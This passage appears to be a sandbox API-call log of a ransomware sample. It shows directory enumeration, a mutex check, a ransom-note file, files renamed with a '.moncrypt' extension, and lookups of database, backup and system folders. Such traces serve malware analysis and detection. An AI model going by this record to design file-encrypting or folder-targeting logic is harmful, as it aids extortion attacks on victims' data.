lpLocalFileTime=0x18e744) returned 1 [0047.887] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.887] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.887] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.887] GlobalUnlock (hMem=0x44000c) returned 0 [0047.887] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.887] GlobalLock (hMem=0x440004) returned 0x557578 [0047.887] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.887] GlobalUnlock (hMem=0x44000c) returned 0 [0047.887] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.887] GlobalUnlock (hMem=0x440004) returned 0 [0047.887] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.887] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd0c0c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3dd0c0c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dd0c0c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0047.887] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.887] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.887] GlobalLock (hMem=0x440004) returned 0x555568 [0047.887] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.887] GlobalUnlock (hMem=0x440004) returned 0 [0047.887] GlobalLock (hMem=0x440004) returned 0x555568 [0047.888] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.888] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.888] GlobalUnlock (hMem=0x440004) returned 0 [0047.888] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.888] GlobalUnlock (hMem=0x44000c) returned 0 [0047.888] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.888] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x9b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0047.888] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.888] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.888] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.888] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.888] GlobalUnlock (hMem=0x44000c) returned 0 [0047.888] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.888] GlobalLock (hMem=0x440004) returned 0x557578 [0047.888] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.888] GlobalUnlock (hMem=0x44000c) returned 0 [0047.888] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.888] GlobalUnlock (hMem=0x440004) returned 0 [0047.888] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.888] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x9b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0047.888] GetLastError () returned 0x12 [0047.888] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.889] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0047.889] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.889] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.889] GlobalLock (hMem=0x440004) returned 0x555568 [0047.889] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.889] GlobalUnlock (hMem=0x440004) returned 0 [0047.889] GlobalLock (hMem=0x440004) returned 0x555568 [0047.889] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.889] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.889] GlobalUnlock (hMem=0x440004) returned 0 [0047.889] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.889] GlobalUnlock (hMem=0x44000c) returned 0 [0047.889] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.889] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.889] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.889] GlobalUnlock (hMem=0x44000c) returned 0 [0047.889] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.889] GlobalLock (hMem=0x440004) returned 0x557578 [0047.889] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.889] GlobalUnlock (hMem=0x44000c) returned 0 [0047.889] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.889] GlobalUnlock (hMem=0x440004) returned 0 [0047.889] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.889] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us", len=0x5c | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us") returned 1 [0047.890] GlobalLock (hMem=0x440004) returned 0x555568 [0047.890] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.890] GlobalUnlock (hMem=0x440004) returned 0 [0047.890] GlobalLock (hMem=0x440004) returned 0x555568 [0047.890] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.890] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.890] GlobalUnlock (hMem=0x440004) returned 0 [0047.890] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.890] GlobalUnlock (hMem=0x44000c) returned 0 [0047.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⌂R⋖R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0047.891] GetLastError () returned 0x3 [0047.891] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0047.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18㿬Q\x181")) returned 0xffffffff [0047.891] GetLastError () returned 0x2 [0047.891] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0047.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0047.892] GetLastError () returned 0x2 [0047.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0047.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@呤U企@\x18?T\x18D")) returned 0xffffffff [0047.893] GetLastError () returned 0x2 [0047.893] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0047.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18翌R\x18j")) returned 0xffffffff [0047.893] GetLastError () returned 0x2 [0047.893] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0047.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0047.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@⨴R企@\x18?T\x18q")) returned 0xffffffff [0047.894] GetLastError () returned 0x2 [0047.894] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\翈Rð") returned 6 [0047.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0047.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@⒄U企@\x18?T\x18y")) returned 0xffffffff [0047.894] GetLastError () returned 0x2 [0047.894] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0047.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18?T\x18\x81")) returned 0xffffffff [0047.895] GetLastError () returned 0x2 [0047.895] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0047.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@呤U企@\x18?T\x18\x88")) returned 0xffffffff [0047.896] GetLastError () returned 0x2 [0047.896] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0047.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@⒄U企@\x18?T\x18\x8f")) returned 0xffffffff [0047.896] GetLastError () returned 0x2 [0047.896] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0047.897] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18?T\x18\x97")) returned 0xffffffff [0047.897] GetLastError () returned 0x2 [0047.897] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.897] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.897] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.897] GlobalUnlock (hMem=0x44000c) returned 0 [0047.897] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.897] GlobalLock (hMem=0x440004) returned 0x557578 [0047.897] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.897] GlobalUnlock (hMem=0x44000c) returned 0 [0047.897] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.897] GlobalUnlock (hMem=0x440004) returned 0 [0047.897] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.897] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.897] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.898] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0047.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.898] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0047.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.898] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0047.898] GlobalLock (hMem=0x440004) returned 0x555568 [0047.898] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.898] GlobalUnlock (hMem=0x440004) returned 0 [0047.898] GlobalLock (hMem=0x440004) 